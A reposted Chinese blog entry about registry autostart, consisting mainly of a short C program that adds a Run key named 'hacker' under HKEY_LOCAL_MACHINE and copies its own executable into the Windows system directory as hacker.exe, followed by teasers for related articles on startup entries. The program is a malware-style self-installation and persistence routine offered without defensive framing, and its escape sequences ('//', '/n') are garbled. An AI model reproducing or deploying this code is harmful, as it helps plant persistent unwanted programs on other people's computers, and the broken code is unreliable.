注册表启动

转载 2006年05月28日 15:44:00
#include <stdio.h>
#include <windows.h>
int main(void)
{
char regname[]="Software//Microsoft//Windows//CurrentVersion//Run";
HKEY hkResult;
int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);

ret=RegSetValueEx(hkResult,"hacker"/* 注册表键名*/,0,REG_EXPAND_SZ,(unsigned char *)"%systemroot%//hacker.exe",25);
if(ret==0){
  printf("success to write run key/n");
  RegCloseKey(hkResult);
  }
else {
	printf("failed to open regedit.%d/n",ret);
	return 0;
}
char modlepath[256];
char syspath[256];
GetModuleFileName(0,modlepath,256);//取得程序名字
GetSystemDirectory(syspath,256);
ret=CopyFile(modlepath,strcat(syspath,"//hacker.exe"),1);
if(ret)
{
	printf("%s has been copyed to sys dir %s/n",modlepath,syspath);
}
else printf("%s is exisis",modlepath);
return 0;
}

相关文章推荐

Wince应用程序开机自启动的注册表设置

通过VS自带的远程注册表编辑器打开注册表[HKEY_LOCAL_MACHINE/init]如下图:   以DeviceConfig.exe应用程序来分析自启动应用程序的设置步骤: 1. ...

开机启动运行的注册表操作(MFC)

1、RegOpenKeyEx:该函数用来打开特定的注册表键,注册表键值是不区分大小写的。 该远程调用接口也存在,函数名称为CeRegOpenKeyEx LONG RegOpenKeyEx(  ...

C#(WPF)程序将Debug中的.exe文件放入注册表中启动,获取错误的当前路径--解决方案

编写的程序需要开机运行,又不想进入win7的桌面。这样可以通过修改注册表,把原来的explorer.exe换成需要启动的软件。 注意,比如.exe文件存在于D盘的Debug文件夹中,则用 D:\\D...

注册表修改 Devenv 默认启动 Visual Studio 版本

注册修改Devenv 默认启动Visual Studio 版本 本人机器上安装了多个版本Visual Studio。目前开发主要使用VS2010因为想尝鲜安装了一个VS2012但每次使用运行->...

注册表中各种开机自启动项目位置

注册表中各种开机自启动项目位置

c 语言修改注册表,增加开机启动项

前段时间在自学 windows api,学习了大概一个月,对一些常用api还算有一定了解,本人对一些木马,病毒 比较感兴趣,所以也经常搜一些木马病毒的编程技巧。下面是我自己写的一个.c文件,是用 wi...

写入注册表实现自启动

void XXXX::OnBnClickedAutorunCheckbtn() { //----------------------------------------------- // ...
  • hgy413
  • hgy413
  • 2011-12-06 12:10
  • 1107

清理注册表后,eclipse启动报错:JVM terminated. Exit code=1

用360或优化大师清理注册表后,再启动eclipse就报错了,Eclipse 启动不起来,出现以下错误:JVM terminated. Exit code=-1-Xms40m-Xmx256m-Djav...

自己写注册表,让程序跟windows服务程序一样,在windows登陆之前启动

自己写注册表,让程序跟windows服务程序一样,在windows登陆之前启动。 需要写入注册表的信息: /* Windows Registry Editor Version 5.0...

注册表写入读取和启动项删除

需要的自己看看吧  // m_Start.cpp : 实现文件 // #include "stdafx.h" #include "MFCApplication1.h" #include "m_St...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:深度学习:神经网络中的前向传播和反向传播算法推导
举报原因:
原因补充:

(最多只允许输入30个字)